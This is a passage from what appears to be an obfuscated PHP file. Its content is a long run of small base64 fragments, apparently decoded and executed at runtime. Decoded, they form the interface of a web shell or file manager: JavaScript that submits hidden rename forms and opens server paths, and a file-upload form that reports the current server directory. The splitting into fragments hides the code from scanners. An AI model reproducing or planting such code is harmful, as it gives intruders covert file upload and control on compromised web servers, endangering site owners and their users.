CAgICA'.'gICAgICBpbnB1dDIubm'.'FtZSA9ICJuZXciOw0KICA'.'gICAgICAgICAgICAgIGlu'.'cHV0Mi52YWx1'.'ZSA9IG5ld05hbWU7DQ'.'ogICAgICAgICA'.'gICAgICAgZm9ybS5hcH'.'BlbmRDaGlsZChpbn'.'B1dDEpOw0KICAgICAgICAgI'.'CAgICAgIGZvcm0uYX'.'BwZW5kQ2hpbGQoa'.'W5wdXQyKTsNCiAgICAgICAgI'.'CAgICAgICBkb2N1bWVudC5'.'ib2R5LmFwc'.'GVuZENoaWxkKGZvcm0pOw0'.'KICAgICAgICAgICAgICAgI'.'GZvcm0uc3VibWl0KCk7D'.'QogICAgIC'.'AgICAgICB9DQo'.'gICAgICAgIH0NCiAgICAgIC'.'AgZnVuY3Rpb24'.'gcG9zdE9wZ'.'W4ocGF0aC'.'kgew0KICAg'.'ICAgICAgICAgd2luZG93'.'Lm9wZW4oYXRvYihidG'.'9hKHBhdGgpKSk7'.'DQogICAgICAg'.'IH0NCiAgICA8L3Njcmlw'.'dD4NCjwvaGVh'.'ZD4NCjxib2R5Pg0KI'.'CAgIDxkaXYgY2xhc'.'3M9ImRpciI+DQog'.'ICAgICAg'.'IDxmb3JtIG1ldGhvZD0icG'.'9zdCIgZW5jdHlwZT'.'0ibXVsdGlwYXJ'.'0L2Zvcm0tZGF0YSI+DQog'.'ICAgICAg'.'ICAgICA8a'.'W5wdXQgdHlwZ'.'T0iZmlsZSIgbmFtZT0idS'.'I+DQogICAgICAg'.'ICAgICA8aW5wdXQgdHlw'.'ZT0ic3VibWl0IiBuYW1l'.'PSJzIiB2YWx1ZT0iV'.'XBsb2FkIj4NCiAg'.'ICAgICAgICA'.'gIDxpbnB1dCB0eX'.'BlPSJoaWR'.'kZW4iIG5hbWU9ImQiIHZhbHV'.'lPSI8P3BocCBlY2hvI'.'GJhc2U2NF9lbmNvZGUoJGN1'.'cnJlbnREaXIp'.'OyA/PiI+'.'DQogICAgICAgIDwvZm9ybT4'.'NCiAgICA8L2Rp'.'dj4NCjwvYm9ke'.'T4NCjwvaHRtbD'.'4='));
?>